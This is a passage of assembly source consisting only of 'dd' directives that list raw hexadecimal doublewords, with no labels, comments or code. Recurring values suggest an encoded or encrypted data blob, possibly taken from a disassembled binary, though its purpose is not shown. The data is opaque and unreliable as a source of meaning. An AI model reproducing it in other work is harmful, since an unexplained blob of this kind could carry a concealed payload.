		dd 46CEBE82h, 0C28E6CCFh, 0A3A64893h, 299683E1h, 0CE5BED92h
		dd 6E808B31h, 0A6B2438Fh, 4D2F53CAh, 4EC11D9Ah,	0C3259247h
		dd 472AE40h, 0D400000Ah, 95E873CEh, 0B299685h, 0F4A528DFh
		dd 4E011512h, 2996E672h, 0A8618CA3h, 8B31CE78h,	15986D4Eh
		dd 51088D44h, 7A8524BDh, 6940B552h, 962C4983h, 0A747238Bh
		dd 0CEB78991h, 0D2AD8346h, 0A94D8915h, 0A14AB58Ch, 0BB527B64h
		dd 7CCF5F3Ah, 29958A01h, 0A158817Eh, 958A0772h,	77978429h
		dd 8D31CEC1h, 65C26C82h, 1F96735Ah, 9D704D4Ah, 31CEC379h
		dd 0DB6E808Bh, 4D25DC56h, 55B019A6h, 618C7BC1h,	0BA9B71A8h
		dd 8A51517h, 0D1251B3Bh, 0F7829168h, 74299685h,	0CED16787h
		dd 777E8931h, 4AF94AA2h, 58B8BE74h, 769537B6h, 828B34CBh
		dd 31CEC66Ch, 0FA83908Bh, 77299685h, 36AF3F8Ah,	0EC8DCE73h
		dd 69299685h, 0A3D685BCh, 20299685h, 8C6DD363h,	0E19CB760h
		dd 5E299685h, 88B168A1h, 9685B2CBh, 9A722F29h, 0A6503F85h
		dd 0E84EE0F9h, 4355B782h, 83720010h, 0CEB48AACh, 6F7F8A31h
		dd 1D86C5DCh, 4F0C35A9h, 0AA0F842Eh, 0DB01FEABh, 4AECBD30h
		dd 8931CEF4h, 6469A24Ch, 0A0797CB5h, 9C7B5F8Eh,	9685FE7Fh
		dd 118E7B29h, 73955CA7h, 6D4F68D1h, 28F4DB81h, 559C0512h
		dd 608C7BC1h, 8CDE55B7h, 0C6A5AA5Dh, 95B64435h,	0DC4C129h
		dd 0D902EBD4h, 0C59419F4h, 3ED0890Ch, 8A31CEF8h, 0BA766F7Fh
		dd 20C7EDE8h, 3702FC8Bh, 4AD11FC0h, 4FE1914h, 39FF0FDAh
		dd 7C8731CEh, 763F2BDAh, 7C8731CEh, 58AF1BDAh, 0E873CEA8h
		dd 29968595h, 45AA1512h, 320C26C8h, 7D8831CEh, 23B21AD9h
		dd 886154BBh, 0BE829F41h, 95E873CEh, 12299685h,	4E2FEC15h
		dd 0CB299685h, 611538DEh, 26299685h, 5777628Ch,	7B7C71B8h
		dd 9E36B74Eh, 3FC39BC7h, 0AC46CE09h, 8FA1A99Fh,	0DA08F717h
		dd 0A7608C1Bh, 8D31CE79h, 53B61582h, 279079C3h,	944548C7h
		dd 608CBC82h, 0BE8279A7h, 6A586E8h, 76A55C50h, 3266603h
		dd 0CD738380h, 23AA638Ch
		dd 686D9644h, 887965A0h, 0AC0A23CFh, 97AB66FFh,	0CE73CEB1h
		dd 9685EC8Dh, 9FBC6929h, 299685DEh, 7988AE5Bh, 9636C16Dh
		dd 9EBD7C71h, 299685DBh, 0D066AB58h, 0A7608C6Ah, 0A2658572h
		dd 68D1A68Ch, 85F78291h, 87742996h, 608CD167h, 31CE79A7h
		dd 290E7F8Ah, 954449C4h, 9077635Ch, 0CECB657Eh,	8595E873h
		dd 15122996h, 3FCCF201h, 8C6FD1A1h, 0D179A760h,	0A8618C6Fh
		dd 0A56A8671h, 31CEAB91h, 736C828Dh, 8931CEBDh,	0EF85777Eh
		dd 89D0ECF3h, 0D586BB76h, 299679A4h, 23D26421h,	52A752B9h
		dd 7A116CA7h, 918E2996h, 9679F782h, 10877429h, 82575EAFh
		dd 0B782C66Ch, 7E6FA040h, 0F0FEF58Eh, 0D31EDC28h, 47F9FD43h
		dd 8CA74E9Ch, 0F0198B61h, 7C5DC1D6h, 0AE6D1EA4h, 684F9AC5h
		dd 9E428788h, 802C46CEh, 0F51ABB29h, 8C39D761h,	0DF9AB962h
		dd 5C299685h, 0D1B66A9Fh, 0C70B6468h, 814D5916h, 31CEC76Dh
		dd 5C0D808Bh, 860376A5h, 83802996h, 0B0598473h,	0E8BE8290h
		dd 96F98C6Ch, 9C9BAD7Dh, 0B217A04Eh, 87806C53h,	31CED167h
		dd 7F6E808Bh, 0D17BAD5Ch, 9D6C4F68h, 78564118h,	0A7472293h
		dd 8A31CE91h, 0BB5B0E7Fh, 0C878913Ch, 95E873CEh, 12299685h
		dd 41E80115h, 85225BF8h, 0E29F2996h, 72E8E64Ch,	77C43709h
		dd 30A55E8Ch, 9435A647h, 9535B871h, 5A846876h, 64E278B1h
		dd 2CA04E9Ch, 2768C049h, 39FF0F60h, 7C8731CEh, 69B01BDAh
		dd 9685CFAAh, 9A4F4C29h, 8A31CE66h, 50996C4Dh, 0D06A8C5Dh
		dd 0C946CE6Eh, 0AD5C7F3Ah, 0F8C27C47h, 0D7369756h, 413CD722h
		dd 0BE2995B2h, 82072DC1h, 0A4D7E8BEh, 2112394Ch, 0A74E9C1Fh
		dd 5278638Ch, 0D1C878B1h, 0E046468h, 0AC21E208h, 0A69317FDh
		dd 0CE8FA549h, 787D8831h, 815E8DA1h, 46CE5C8Ch,	7D51EC04h
		dd 0FAF303FAh, 0D7A4DD2Fh, 9B4431AFh, 46CEC57Bh, 370CF751h
		dd 0B03FCF4Eh, 0D54DF0Dh, 2887FCF3h, 0F5806CC4h, 9F6A15AEh
		dd 0EFBE8281h, 6046CE59h, 0CF74FDE4h, 0A3D685BCh, 202995CFh
		dd 2634D363h, 0AA638C8Fh, 0E873CE76h, 29968595h, 37011512h
		dd 8731CED9h, 8EA0797Ch, 49727E5Fh, 0CC3B9FC3h,	0EEBC10C9h
		dd 0D281B806h, 2995D6A7h, 8EB27724h, 0D182B782h, 299685A8h
		dd 65AA4625h, 0C970B970h, 9685EF8Ah, 9FAF6C29h,	0A4D7E899h
		dd 0EF12394Ch, 0E0107A52h, 2E1402FDh, 4E9C3208h, 8D31CEA7h
		dd 607D6C82h, 8ECD74ADh, 299685EBh, 0A59BBB68h,	694F68D1h
		dd 0B046139Ah, 5CB0898Ah, 8FB2DA97h, 0AB55EE2Dh, 6F2917D0h
		dd 829E94BAh, 0A8618CBEh, 0A1668671h, 63D97D2Ch, 7AC76FD1h
		dd 28AD607Dh, 85A7D281h, 77242996h, 0CE969CB2h,	2A828D31h
		dd 2ECF55E6h, 8DC0569Fh, 2995AFECh, 5BB21BA4h, 0C96F7F5Ah
		dd 24A9628Ch, 81749B43h, 8D604E3h, 0BBC74DF2h, 0A324A405h
		dd 0CEBE749Ah, 73F9EA46h, 1A3C27E0h, 0CE36FFEBh, 6B4F8C31h
		dd 856A559Ch, 0C2540588h, 31CEC967h, 5D0C818Ch,	87943AB9h
		dd 9685B1CCh, 0B8712E29h, 1F368B81h, 0C388DDC1h, 0B7820D33h
		dd 0D1D97255h, 63F3E28Dh, 0A173CEDDh, 0FC263E9Dh, 0D4A5B6C1h
		dd 512995B1h, 8733C254h, 46CE6080h, 8136D77h, 29963D75h
		dd 0B5DF35F2h, 469FAF92h, 0AE14E8AAh, 46CE9A83h, 235A6BFBh
		dd 79BF4F00h, 79A7608Ch, 6C4F68D1h, 0AD41189Dh,	0E873CE87h
		dd 29968595h, 0F2011512h, 33BE20CAh, 1A9EF20Bh,	308D2ACFh
		dd 0CE0339DDh, 0B828D31h, 912FB85Eh, 8E8931CEh,	9685ACCDh
		dd 0B57C2929h, 26C56940h, 0D1A543C8h, 82B7896Fh, 0F546CEBEh
		dd 0B5A5603Eh, 0C63742D1h, 0C7B42995h, 0DDFDEC02h, 0E605D8F8h
		dd 523EE23h, 46CE6FD1h,	0D58341DAh, 0B1F2FB2h, 0E873CEEDh
		dd 29968595h, 0BABF1512h, 0DA89D5F5h, 710C3FCFh, 302995ABh
		dd 4E9C59EFh, 0BFBA59A0h, 3C299685h, 0CE89AF3Fh, 6D818C31h
		dd 638C73B2h, 0CEAE84AAh, 0A34C8931h, 7BB6636Ah, 608F9F7Ah
		dd 825B8D7Eh, 936ECBBEh, 9685F588h, 0A1B57229h,	8C73CE9Bh
		dd 0F28BA861h, 6F299685h, 28AD5E80h, 6796B871h,	68D1BA7Bh
		dd 369E6D4Fh, 79D3F1AAh, 0ED53E307h, 70A9628Ch,	85EF8AC9h
		dd 6CA72996h, 29968611h, 702D918Eh, 0B78258DEh,	85A8D182h
		dd 1B332996h, 0C926496h, 0A94D3AACh, 0D94AE893h, 61985DB1h
		dd 7B31C7B2h, 0B75744F5h, 0CC40F981h, 2DE9F76h,	0A4C2A70Dh
		dd 9CDE54FAh, 0B217A04Eh, 67876253h, 0A9628CD1h, 0EF8AC970h
		dd 6C299685h, 0CE999FAFh, 777E8931h, 85A28CA2h,	623C858Fh
		dd 6A8C49B6h, 77628CD4h, 0CE72B756h, 3555B782h,	8BB60E6Eh
		dd 0F194AA4Ch, 0CB0477Fh, 0C8E55BFBh, 0F28BC871h, 6F299685h
		dd 0CE969CB2h, 777E8931h, 719435A2h, 7A89AD7Ch,	9735C26Ch
		dd 8C5CE274h, 0D177A962h, 9D6C4F68h, 37E8C379h,	0B229969Fh
		dd 3DBA638Ch, 0B2CB689Bh, 2F299685h, 8A82B772h,	43B40B39h
		dd 85BB5B0Dh, 618CBE82h, 78B15676h, 8638A475h, 7C8731CEh
		dd 0A18EA079h, 96860772h, 69978429h, 46CE6FD1h,	93005755h
		dd 0E86B8B7Fh, 72D8BAE7h, 8D638C02h, 0F31BBBD0h, 1030F9D9h
		dd 165246CEh, 85728F0Bh, 0A00B072Fh, 7A9C9642h,	638C5EC0h
		dd 7DB45578h, 40B782CBh, 6FC5699Ah, 4D8A31CEh, 46139A6Dh
		dd 0BF4F0A8Bh, 0EE01328Ch, 608C6F35h, 974126A7h, 859EDF7Ch
		dd 6E1B2996h, 0ABDA32A3h, 0B465DFBFh, 6469A04Bh, 0AECF8CB5h
		dd 2B299685h, 9C62D87Eh, 0B317A04Eh, 66886154h,	0AA638CD0h
		dd 4F68D176h, 0C3799D6Ch, 5278638Ch, 0A46D3CB1h, 0E8BE8284h
		dd 3C7167EAh, 2BDAFFF8h, 618C350Bh, 994225A8h, 1CEB696Ch
		dd 5C1D10CEh, 688E7563h, 0E873CED2h, 29968595h,	0B529E00Bh
		dd 8BD726C8h, 18F1DCE3h, 0C32C495h, 6FAA638Ch, 2CA16288h
		dd 0D163D97Dh, 0E873CE6Fh, 29968595h, 0F2011512h, 82A13FCCh
		dd 9E46CEBEh, 0AFCEB7FDh, 1CC130C6h, 0D0275201h, 0F7A42995h
		dd 0FD07BE15h, 0A66BEDC5h, 9339C67Bh, 97A47578h, 29959DE6h
		dd 0AA90A663h, 548446CEh, 0FAFB14BCh, 0F2EFCD1Fh, 0D46C7599h
		dd 31CE1F21h, 29D87E89h, 73CE783Dh, 968595E8h, 1151229h
		dd 9A3FCCF2h, 474EC11Dh, 0CEB67C92h, 8595E873h,	15122996h
		dd 8CD93701h, 9D6FAA63h, 0ACB20619h, 104BF65Dh,	29960E6Dh
		dd 23193DEAh, 3B9168D1h, 0EE744A1Bh, 720B28B0h,	0EF2995A1h
		dd 0A429DA00h, 241A3CF5h, 4A8731CEh, 0B87164A1h, 89AD7C71h
		dd 5188856Ah, 4CE0B7Bh,	49ED0911h, 40B782F3h, 9DE07B9Ch
		dd 1A299685h, 7831A46Dh, 31CE60D6h, 7D6C828Dh, 9F75AC5Fh
		dd 0F34DE782h, 99379D1Ch, 5C2CE6DFh, 824AF006h,	0A8D182B7h
		dd 25299685h, 8C60D678h, 4423AA63h, 9682739Ch, 0D9BB636Fh
		dd 0A04E9CD7h, 0B658B717h, 78638C80h, 0B15A8457h, 0AE5D7F78h
		dd 89B77227h, 3B9168D1h, 71CEB3C1h, 7FFA19A1h, 0FC299661h
		dd 8C49EFFFh, 0E29BB861h, 5F299685h, 0A1B267A2h, 299685D8h
		dd 8B2CA855h, 0C3371889h, 1D31554Bh, 8731CE17h,	8EA0797Ch
		dd 628C9B55h, 85DF9AB9h, 73552996h, 5A4C1D90h, 0D1C464ADh
		dd 8731CE6Fh, 8EA0797Ch, 856A559Ah, 0CED06688h,	797C8731h
		dd 0C2BB8EA0h, 7A299685h, 739438BFh, 968595E8h,	1151229h
		dd 0AA638C3Bh, 6F984423h, 0CA18EF7Eh, 8310E14h,	9685324Bh
		dd 5CF2AF29h, 0E873CED6h, 29968595h, 2011512h, 80C021D4h
		dd 4B8831CEh, 2DA069A0h, 1F19DA7Ch, 6000000Ch, 16977657h
		dd 0CE8DB343h, 0F924646h
		dd 88AEAF56h, 95CF1BC5h, 31CE0C29h, 7F6E808Bh, 0CE90B05Fh
		dd 0D808B31h, 8831BA5Ch, 94B54584h, 77561A4Eh, 0BF755792h
		dd 56573CB5h, 8979BF4Fh, 8C31CEB7h, 85F78291h, 87742996h
		dd 789E4B42h, 85DDA0BBh, 0AD5A2996h, 8C73CE7Bh,	0F089AA63h
		dd 66299685h, 57128388h, 0F089CA67h, 6D299685h,	5BD579B0h
		dd 927AC7C5h, 0D08F0A36h, 241A3CBCh, 968595E8h,	8B24D29h
		dd 21E55BFBh, 0ADA0B418h, 6EE17C4h, 5C4380B7h, 4A1F966Fh
		dd 46CE8EA4h, 498117D4h, 1964EF9Dh, 9629958Dh, 0EF0E20E9h
		dd 65F64BE3h, 29958D14h, 0A7AD7791h, 0A03FEA4Ah, 0CE6FC569h
		dd 0DA7C8731h, 0AF0DAA4Fh, 6E80595Ch, 8731CEC8h, 8EA0797Ch
		dd 31CE5C9Ah, 5B0E7F8Ah, 9685BDC0h, 4A484829h, 653B9B11h
		dd 66188481h, 95E873CEh, 12299685h, 0D340115h, 85562734h
		dd 0D6D32996h, 856C0D40h, 0AE92996h, 40E029E6h,	6B4F68D1h
		dd 860E6FACh, 9E8B2996h, 897DC353h, 0AFCA89B0h,	2C299685h
		dd 8259DF6Fh, 0CA1055B7h, 0AF68252Bh, 67B0C98Ah, 702D2996h
		dd 31CE58DEh, 5E0B828Dh, 85E495B8h, 659C2996h, 9685C3B6h
		dd 0B3434029h, 0A7608C8Dh, 6C974126h, 3C2AE169h, 9C6AD862h
		dd 5F8CA74Eh, 0CE8836A6h, 0EC8DCE73h, 69299685h, 0C6B79ABCh
		dd 43299685h, 8831AC14h, 0CB7DB47Dh, 7C8731CEh,	0A48EA079h
		dd 8B31CE8Ah, 5F7F6E80h, 85EA93C0h, 0BA672996h,	0E042CA6Fh
		dd 0FD937DAFh, 0D1C3799Dh, 0E873CE6Fh, 29968595h, 0F2011512h
		dd 5DAC0FCEh, 0B7827494h, 7E6FA040h, 0CEB58BABh, 8595E873h
		dd 15122996h, 852B4E01h, 8CEA2996h, 0B1567661h,	31A46D3Ch
		dd 6C61A646h, 2AAB628Bh, 3624EB6Fh, 0CE74D268h,	0A7608C73h
		dd 95E87326h, 12299685h, 8583F625h, 3002996h, 8DD928CEh
		dd 8E648CE8h, 1B30FFh, 2995F17Dh, 3EA70DFAh, 86BB76B5h
		dd 0F15FF48Eh, 4DE18867h, 8D31CEE7h, 6CC26C82h,	818C31CEh
		dd 90627E6Dh, 0DD0157CBh, 6EEBB32h, 55761652h, 0A56C3DB0h
		dd 31CEBC6Ch, 746D818Ch, 8595E8BCh, 8C542996h, 4225A861h
		dd 0DD7D709Dh, 167E202Eh, 0A84AA611h, 0A086370Bh, 7F8F5A3Fh
		dd 0A74E9CB9h, 7E8931CEh, 5AB519D8h, 8A31CEA6h,	645B0E7Fh
		dd 4722937Ch, 89B38DA7h, 82B782B7h, 9685A8D1h, 0D6782529h
		dd 79648C60h, 0C871B853h, 0B595AC44h, 60F678AAh, 8CBE82DAh
		dd 8D2AAA63h, 85D6A7B4h, 66532996h, 9685C4B5h, 8D444129h
		dd 31CED369h, 5E0B828Dh, 0A1E07BB8h, 16299685h,	31CEB769h
		dd 5B0E7F8Ah, 8C9F81BBh, 2E228E64h, 48F88CBh, 31CE1BCDh
		dd 67A04C89h, 0CD612BA2h, 31667655h, 67D165ACh,	82B789C9h
		dd 8C80C0BEh, 7F527863h, 0AB66AB5Ah, 0AA658976h, 31CEAE84h
		dd 746D818Ch, 0CEB789BCh, 823DA173h, 0CD1C2586h, 3C532629h
		dd 0F40B2996h, 60AB11CCh, 7A8F2EA9h, 6890A673h,	507986BBh
		dd 0CE9BA1B5h, 8595E873h, 15122996h, 0E8D93701h, 2996F6D6h
		dd 0A8618C13h, 8CBE8278h, 903AA55Eh, 0CEB78973h, 9685EC8Dh
		dd 0BE5DA429h, 299685BBh, 53AB4B38h, 31CEB256h,	0A2777E89h
		dd 8F85A28Ch, 0E521FBC6h, 0E55BFBD3h, 968595E8h, 73CE5429h
		dd 968595E8h, 1151229h,	0A3ECBF2h, 628C6FD1h, 0FCBC43A9h
		dd 7A7CDABh, 31CEF38Dh,	0BF6C828Dh, 0E994BF7Ah,	66299685h
		dd 0C7B295B9h, 7F299685h, 42B35478h, 722FC767h,	1546CECEh
		dd 0D8AC4096h, 710C47F2h, 0EE2995E9h, 25C41D31h, 2EA781AFh
		dd 0DA7CCA46h, 9097E864h, 0B44B599Eh, 0E258FE07h, 4E9C1F21h
		dd 324CA1A7h, 6FD6A577h, 0A460B485h, 0B7EF9D26h, 0CDF084DCh
		dd 0FB36B05Ah, 8DCEE55Bh, 299685ECh, 0DAC39F69h, 78A4640Ch
		dd 0B57CB556h, 4E46CE93h, 4FAB0766h, 0E370BD51h, 29965F9Ah
		dd 82856552h, 6997846Ch, 0B7896FD1h, 0EAE946CEh, 378BDF74h
		dd 5FEF20C0h, 8B3841D2h, 0C8B52995h, 8831CE18h,	8DA1787Dh
		dd 0C12A9554h, 76985144h, 0B646CEC0h, 0BA909F81h, 1397BA5Ch
		dd 71A7EBD3h, 2E9F6486h, 6568A349h, 63D97DB4h, 26A7608Ch
		dd 696C9741h, 7D703F4h,	31CE8B25h, 15987C87h, 0D059A455h
		dd 2432D165h, 3A0D828Ah, 0BA3094D8h, 0B7899E94h, 4B8146CEh
		dd 5E3108DCh, 39C67BB8h, 0B5747994h, 9620D3A6h,	9E535029h
		dd 20A4D578h, 64212996h, 0AF0457BDh, 624ABF1Eh,	0A5497BF1h
		dd 0EC8DCE8Fh, 0A4299685h, 37786A30h, 789E1EF6h, 0D1658380h
		dd 0A06F4F68h, 196A504Ch, 2EC0EB18h, 0CEB78908h, 0A31A173h
		dd 862A6C9Ah, 2A9CDD70h, 6C192996h, 0CEBE82BCh,	0B5C7A846h
		dd 0ED01C897h, 193ADFFEh, 29958860h, 37E920DDh,	623A46CEh
		dd 3F6F8523h, 0EF7A36AFh, 4746CE59h, 0F208160Dh, 91BD3CD2h
		dd 0EC8DCEE4h, 69299685h, 0CE7E40BCh, 9685EC8Dh, 85BC6929h
		dd 35B8557Ah, 0CE6CD264h, 8595E873h, 15122996h,	340D3401h
		dd 0E3EA21CBh, 85542536h, 0D4D12996h, 8607FEEBh, 6D1043D3h
		dd 25299685h, 0E9D6339Ah, 8F00601h, 68D1ED1Bh, 85FA9C64h
		dd 3BDBCF25h, 8C31CE05h, 607E6D81h, 0BE827DABh,	0ECADC2E8h
		dd 0CAC20A7h, 8604A5AAh, 65EE8FCCh, 0BE6BAB40h,	8C5DE373h
		dd 0D177A962h, 0A65F8C6Fh, 0B0C98A2Fh, 2D299685h, 7E3BB970h
		dd 9A735096h, 96340079h, 2C807D29h, 0F8DF50E7h,	0EDBC31D2h
		dd 8DCEF349h, 299685F0h, 0CE88B865h, 0E7F8A31h,	8732BB5Bh
		dd 64A745B2h, 0E29BB871h, 5F299685h, 8CA68CA2h,	63838C62h
		dd 0F277336Eh, 0F0C4F85Eh, 9F6AFAD4h, 60C1927Ah, 935E9BFCh
		dd 0BE82BD83h, 26A7608Ch, 676E9941h, 2E3E2CE3h,	0A475788Dh
		dd 4F68D56Dh, 0C6DAE6Dh, 89299686h, 6FAC559Ch, 2996860Eh
		dd 0C2789E8Bh, 95E873CEh, 12299685h, 0D4020115h, 0CEB78921h
		dd 0AB648C73h, 85B9C88Bh, 4E692996h, 8083656Ch,	20955C0Dh
		dd 504DA549h, 3DAF0EA9h, 0E6C8BBCBh, 5459903Fh,	0CECB7185h
		dd 0F4E76946h, 2BCBE053h, 0D02C4D0Eh, 0FCA92995h, 0F916BA45h
		dd 31CEDF55h, 0B95A7F8Ah, 299685C0h, 84AE403Dh,	3DB31CA3h
		dd 0E1F2A699h, 0FDF03991h, 6593C82Ch, 59FA51BEh, 46CE7FB5h
		dd 0CB7692h, 8B6A8C58h,	886FAA61h, 0AC92A465h, 828D31CEh
		dd 0CCAD6E0Bh, 49299685h, 0B781955Ch, 735E8C59h, 0D40DC44Bh
		dd 0DB28922Dh, 96853D40h, 29CDBA29h, 8CBE8213h,	0DD058C62h
		dd 0F9127E4h, 37981FDAh, 82FA40D6h, 8B31CEBEh, 0BA5C0D80h
		dd 9D86CC97h, 31CEBF80h, 1AD97D88h, 0CEA957B4h,	797C8731h
		dd 8AA48EA0h, 77A9628Ch, 46CEBE82h, 5ABE049Fh, 6AA95040h
		dd 2996210Fh, 0CC7F8F8Ch, 299620AEh, 0A8618C73h, 6D9A4225h
		dd 0B05F7F68h, 0ED086C3Dh, 5C5C3DE1h, 59A04E9Ch, 9685BFBAh
		dd 0B00D3C29h, 4881585Dh, 628C90A6h, 4D0AA48Ch,	7562AD26h
		dd 6A3FB659h, 6FD1819Fh, 70A9628Ch, 2BA26187h, 8262D87Eh
		dd 2E46CEBEh, 0C2BF2702h, 0A2EE61F5h, 2C0296ADh, 0F47590A8h
		dd 7FD73DC6h, 0FB41D56Ah, 4E9C59EFh, 0BFBA59A0h, 35299685h
		dd 0A8817497h, 8FA54936h, 1C8C628Ch, 28510256h,	0A5299656h
		dd 0C2A14F8h, 3BC47DB4h, 61D7778Eh, 628C6FD1h, 85DF9AB9h
		dd 7C972996h, 29968601h, 601D817Eh, 8AC970A9h, 299685EFh
		dd 999FAF6Ch, 4A8731CEh, 89AD64A1h, 5E8CA060h, 68D183A5h
		dd 85F78291h, 87742996h, 628CD167h, 0F7C3FA8Ch,	0B970E7A4h
		dd 0A16FD187h, 6E8F3B34h, 51269673h, 6B6097Bh, 0E40A35F0h
		dd 8831CE4Eh, 8DA1787Dh
		dd 73A059A0h, 2996860Ah, 35A95A80h, 0DEA3A648h,	53299685h
		dd 5029AB56h, 86134BC7h, 0A168A747h, 0BE82A78Dh, 7F8A31CEh
		dd 0A95A806Fh, 0EF8AC970h, 65299685h, 601D8184h, 85DF9AB9h
		dd 9F5C2996h, 0BE82A98Fh, 26A7608Ch, 7C719C41h,	16C816F1h
		dd 23C82F0Ch, 0D63EEBE2h, 0A10CF631h, 73C96D1Bh, 0CEA74E9Ch
		dd 9685EC8Dh, 40BC6929h, 0F08DCE7Eh, 65299685h,	85F28BC8h
		dd 0B26F2996h, 73CEC977h, 0B15D12A1h, 0F9E6EEDAh, 2D2036D1h
		dd 2995CF4Ch, 0DC25DCC9h, 95CF3E3Fh, 28CEBB29h,	4F68D112h
		dd 0BE1D9A69h, 7F8F4A4Bh, 0A55E8CB9h, 0C4F1987Ch, 0EE81B8C0h
		dd 6FD1F248h, 7C8731CEh, 0BC516E79h, 85A96039h,	5E828766h
		dd 0EC9746CEh, 3BB33FC6h, 89FF211Bh, 35A647B0h,	0AE7B7295h
		dd 97B77263h, 0E873CEA1h, 29968595h, 0E8011512h, 0D0FCCB41h
		dd 8ECFA67Bh, 51924426h, 0DD719617h, 0AA638C57h, 0E9AE9D6Fh
		dd 3FDCA91Dh, 73CE89AFh, 968595E8h, 6B0E4D29h, 0E8299685h
		dd 2DEECB3Bh, 2996854Ch, 115DCC9h, 5E8CD937h, 59837CA5h
		dd 82969CB2h, 8C81C7BEh, 7524A962h, 0BE82B987h,	0A6B55E8Ch
		dd 299685D3h, 4EB92150h, 0D19A4E83h, 1B7A6468h,	0EDE02D92h
		dd 7B5BD83Ch, 0CEDD63F3h, 0D48F8946h, 688EFDC8h, 0D58B6389h
		dd 4E4C2298h, 0CE8DBB76h, 6C828D31h, 46CEBD73h,	3D33522Ah
		dd 63C767DEh, 0A9628CA5h, 9168D177h, 9685F782h,	0BD506D29h
		dd 84BA5C49h, 5377628Ch, 3EAF5C82h, 0B66BA66Bh,	2648A049h
		dd 0EA12335Bh, 9B4E3F8Ah, 0C9C4B566h, 44412995h, 31CE8CB2h
		dd 0A2777E89h, 0E89D538Ch, 29968595h, 1667F44Dh, 8C299685h
		dd 7A2FA65Fh, 0C1779784h, 4E9C59EFh, 230B2CA0h,	0C68BECA6h
		dd 628C0A30h, 8AC970A9h, 299685EFh, 0A85B7D6Ch,	0B2577661h
		dd 72C86E3Bh, 0B3A173CEh, 5317101Ch, 631964EFh,	0E9962996h
		dd 0CE55EB45h, 0E89B6D46h, 0B2446FEAh, 0CE729943h, 7D8831CEh
		dd 548DA178h, 47C42A95h, 46CE91A7h, 59CF8E86h, 30233394h
		dd 2996444Dh, 0A55E8C0Ch, 68A74730h, 7E6CA365h,	5CA59AA0h
		dd 9685BEBFh, 6254929h,	0E29EE82Eh, 49EFFFFCh, 7D8831CEh
		dd 6E8DA178h, 8C31CE60h, 8CC76D81h, 0CE77A962h,	8595E873h
		dd 15122996h, 0FAD23701h, 0E5D18044h, 0C57B9BDFh, 818C31CEh
		dd 79607E6Dh, 0E396C550h, 60299685h, 7EA36EA3h,	3EAF5A81h
		dd 0CE75CB6Bh, 0DA7C8731h, 30646811h, 0B8CAE99Ah, 8C6AD066h
		dd 0F1D78E64h, 2ACDB016h, 821EEEDFh, 53D24BC9h,	0BB856FBAh
		dd 9AA173CEh, 68792981h, 0E19CAF3Fh, 99299678h,	434ABF1Eh
		dd 59788096h, 49209570h, 0BE826080h, 77A9628Ch,	6B6468D1h
		dd 5617B6D7h, 89CD7383h, 0AFCA89B0h, 2C299685h,	0A2759D6Fh
		dd 0B9CEB15Eh, 8DCE9F95h, 299685ECh, 0BC85BC69h, 81749B43h
		dd 85F28BA8h, 0B26F2996h, 6F66A945h, 0D19E94BAh, 9A694F68h
		dd 8AB04613h, 617E79C0h, 0DE7029ACh, 0A55E8C58h, 0E396C57Ch
		dd 60299685h, 0CDC04B71h, 0FB41D51Ch, 808B31CEh, 75635C0Dh
		dd 0C17F688Eh, 968595E8h, 59EF5429h, 17A04E9Ch,	4FC020B1h
		dd 0CEBE749Ah, 8595E873h, 15122996h, 3BC8F201h,	6468D10Dh
		dd 0DBA43C75h, 0ED53E33Fh, 7CA55E8Ch, 9FAF5683h, 0CEBE8299h
		dd 33162A46h, 0BF4F1A55h, 962AF18Ch, 0B00EA929h, 0EF85BB5Bh
		dd 0A74E9C59h, 68885E8Ch, 0FB977172h, 4BC178B1h, 0D1F2FA85h
		dd 8FA549F5h, 994B46CEh, 759F9D0Ah, 89B957E1h, 0E873CEB7h
		dd 29968595h, 0E8011512h, 0DEFFF841h, 8559242Fh, 29D62996h
		dd 5E8C2F05h, 96C57CA5h, 299685E3h, 16977259h, 90A66343h
		dd 89BE82AAh, 66F35CB0h, 0BF21A35Eh, 8DCE092Fh,	299685F0h
		dd 54B317A0h, 9B4D3AC2h, 5E8C6FD1h, 6FD183A5h, 0BE82B789h
		dd 618C80C0h, 6D47828Bh, 87424D06h, 80836552h, 84BA5C0Dh
		dd 9E40B782h, 0C773C96Dh, 0C546CE81h, 66C990AAh, 0E421CA35h
		dd 0D138A352h, 0E873CE2Fh, 29968595h, 0D6BF1512h, 0CB56B126h
		dd 0B552DC72h, 6568A54Ah, 0E89CA2B4h, 2996FFACh, 77628C3Dh
		dd 0CC7CB554h, 0B089BE82h, 85AFCA89h, 3D2C2996h, 8F9F6A9Dh
		dd 0EC8DCEA9h, 0A4299685h, 8E7B625Dh, 96860C6Dh, 806A8929h
		dd 50A84E83h, 0A911AE53h, 6C82575Eh, 4F68D1C6h,	0A98F9F6Eh
		dd 7C8731CEh, 0BB8EA079h, 299685C2h, 0AE617D7Ah, 628CB288h
		dd 0AC493D8Ch, 9F6A0364h, 0CE6FD181h, 6C828D31h, 7DAB5E7Dh
		dd 0D182B782h, 299685A8h, 60D67825h, 4A8731CEh,	8DA168A5h
		dd 356E805Eh, 1BF2DB83h, 0C8DDD0B9h, 0F221D801h, 2995FE87h
		dd 91EC2704h, 0E2995FEh, 9F4D811h, 4FA7F866h, 0CE59DF6Fh
		dd 9B84C46h, 0AD4168B7h, 0B49F7534h, 280113A8h,	0CFC641A9h
		dd 0F93FCF1Ah, 2AAB648Ch, 676EA13Dh, 0B67866A1h, 9685D4A5h
		dd 9D545129h, 0D281B885h, 299685A7h, 61D77724h,	2CA04E9Ch
		dd 0ED202591h, 0DF55F96Bh, 7D8831CEh, 5E8DA178h, 7D4F8A7Fh
		dd 319DD06Eh, 0A197B764h, 3B9168D1h, 0E4C247D5h, 0FC7D9E4Ch
		dd 792995FCh, 8CD46A8Ch, 0B7567762h, 68D1CE72h,	749A694Fh
		dd 0AA638CBEh, 0E8BE8276h, 29968595h, 0AA638C54h, 4F68D176h
		dd 7C2DA06Fh, 618C64DAh, 0BE8278A8h, 808B31CEh,	3BBA5C0Dh
		dd 0CECD7B92h, 8595E873h, 0E10B2996h, 10F6A32Ah, 46EA0313h
		dd 32E11821h, 29968547h, 137D7C4h, 0CEA74E9Ch, 190C3C46h
		dd 39DD67F3h, 4BF613BAh, 0F3030CB4h, 0CE6FD14Dh, 0A24C8931h
		dd 7C2DA069h, 5BB21BDAh, 896FD1ADh, 62A147B0h, 85E19CB7h
		dd 0A15E2996h, 31CEA78Dh, 7317648Ch, 76538C02h,	0AE529BBBh
		dd 78A8618Ch, 31CEBE82h, 772818Ch, 84299686h, 49BA2097h
		dd 0A911AE4Bh, 6C82575Eh, 0F08DCEC6h, 65299685h, 31CE88B8h
		dd 0C26C828Dh, 0CE73CE6Ch, 9685EC8Dh, 9FBC6929h, 299685DEh
